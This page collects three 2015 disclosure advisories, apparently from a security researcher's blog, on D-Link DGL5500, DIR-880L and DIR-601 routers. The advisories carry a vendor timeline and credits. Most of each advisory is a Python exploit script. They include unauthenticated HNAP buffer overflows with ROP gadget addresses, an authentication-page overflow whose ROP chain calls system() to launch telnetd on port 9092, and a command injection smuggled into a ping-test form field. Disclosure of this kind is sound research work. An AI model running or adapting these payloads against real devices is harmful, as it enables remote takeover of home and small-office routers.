## Advisory Information Title: DGL5500 Un-Authenticated Buffer overflow in HNAP functionality Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink) CVE: None Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061 However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes. ## Product Description DGL5500 -- Gaming Router AC1300 with StreamBoost. Mainly used by home and small offices. ## Vulnerabilities Summary Have come across 1 security issue in DGL5500 firmware which allows an attacker on wireless LAN to exploit buffer overflow vulnerabilitiy in hnap functionality. Does not require any authentication and can be exploited on WAN if the management interface is exposed. ## Details # HNAP buffer oberflow ------------------------------------------------------------------- import socket import struct import string import sys BUFFER_SIZE = 2048 # Although you can access this URL unauthenticated on WAN connection which is great but need a good shellcode. buffer overflow in check_hnap_auth buf = "POST /hnap.cgi HTTP/1.1\r\nHOST: 10.0.0.90\r\nUser-Agent: test\r\nContent-Length: 13\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings\r\nHNAP_AUTH: test\r\nCookie: unsupportedbrowser=1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" buf+="FFFF" buf+="AAAA" #s0 buf+="\x2A\xBF\xB9\xF4" #s1 ROP 2 buf+="\x2A\xC1\x3C\x30" #s2 sleep address buf+="DDDD" #s3 buf+="\x2A\xC0\xEB\x50" #s4 ROP 4 2AC0EB50 buf+="\x2a\xc0\xf3\xe8" # Retn address 2AC0F3E8 ROP1 buf+="XXXXFFFFFFFFFFFFFFFFFFFFGGGGGGGGGGGG" # 36 bytes of gap buf+="\x2A\xBC\xDB\xD0" # ROP 3 buf+="GGGGGGGGGGGGGGGG" buf+="AAAAAAAAAAAAAAAAAAAAA" # Needs a proper shell code Bad chars 1,0 in the first bit of hex byte so 1x or 0x buf+="GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ\r\n\r\n"+"test=test\r\n\r\n" print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((sys.argv[1], 80)) s.send(buf) data = s.recv(BUFFER_SIZE) s.close() print "received data:", data ------------------------------------------------------------------- ## Report Timeline * April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline. * July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor * Nov 13, 2015: A public advisory is sent to security mailing lists. ## Credit This vulnerability was found by Samuel Huntley
Category Archives: Dlink
D-Link DIR-880L – Multiple Buffer Overflow Vulnerabilities
## Advisory Information Title: DIR-880L Buffer overflows in authenticatio and HNAP functionalities. Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink) CVE: None Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061 However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes. ## Product Description DIR-880L -- Wireless AC1900 Dual-Band Gigabit Cloud Router. Mainly used by home and small offices. ## Vulnerabilities Summary Have come across 2 security issues in DIR-880 firmware which allows an attacker to exploit buffer overflows in authentication and HNAP functionalities. first 2 of the buffer overflows in auth and HNAP can be exploited by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack directly or using XSRF if not exposed. Also this exploit needs to be run atleast 200-500 times to bypass ASLR on ARM based devices. But it works as the buffer overflow happens in a seperate process than web server which does not allow web server to crash and hence attacker wins. ## Details Buffer overflow in HNAP ----------------------------------------------------------------- import socket import struct #Currently the address of exit function in libraray used as $PC buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + "\x10\xd0\xff\x76"+"B"*220 buf+= "\r\n" + "1\r\n\r\n" print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("10.0.0.90", 80)) s.send(buf) ------------------------------------------------------------------- Buffer overflow in auth ------------------------------------------------------------------- import socket import struct buf = "GET /webfa_authentication.cgi?id=" buf+="A"*408 buf+="\x44\x77\xf9\x76" # Retn pointer (ROP1) which loads r0-r6 and pc with values from stack buf+="sh;#"+"CCCC"+"DDDD" #R0-R2 buf+="\x70\x82\xFD\x76"+"FFFF"+"GGGG" #R3 with system address and R4 and R5 with junk values buf+="HHHH"+"\xF8\xD0\xF9\x76" # R6 with crap and PC address loaded with ROP 2 address buf+="telnetd%20-p%209092;#" #actual payload which starts telnetd buf+="C"+"D"*25+"E"*25 + "A"*80 # 131 bytes of extra payload left buf+="&password=A HTTP/1.1\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection:keep-alive\r\n\r\n" print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("10.0.0.90", 80)) s.send(buf) ---------------------------------------------------------------- ## Report Timeline * April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline. * July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor * Nov 13, 2015: A public advisory is sent to security mailing lists. ## Credit This vulnerability was found by Samuel Huntley
D-Link DIR-601 – Command Injection Vulnerability
## Advisory Information Title: DIR-601 Command injection in ping functionality Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink) CVE: None Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061 However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes. ## Product Description DIR601 -- Wireless N150 Home Router. Mainly used by home and small offices. ## Vulnerabilities Summary Have come across 1 security issue in DIR601 firmware which allows an attacker to exploit command injection in ping functionality. The user needs to be logged in. After that any attacker on wireless LAN or if mgmt interface is exposed on Internet then an internet attacker can execute the attack. Also XSRF can be used to trick administrator to exploit it. ## Details Command injection in dir-601 -------------------------------------------------------------------- import socket import struct # CMD_INJECTION_INPINGTEST # Just need user to be logged in and nothing else buf = "POST /my_cgi.cgi HTTP/1.0\r\n" buf+="HOST: 192.168.1.8\r\nUser-Agent: test\r\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection:keep-alive\r\nAccept-Encoding:gzip,deflate,sdch\r\nAccept-Language:en-US,en;q=0.8\r\nContent-Length:101\r\n\r\n" buf+="request=ping_test&admin3_user_name=admin1;echo admin > /var/passwd1;test&admin4_user_pwd=admin2&user_type=0"+"\r\n\r\n" print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("IP_ADDRESS", 80)) s.send(buf) -------------------------------------------------------------------- ## Report Timeline * April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline. * July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor * Nov 13, 2015: A public advisory is sent to security mailing lists. ## Credit This vulnerability was found by Samuel Huntley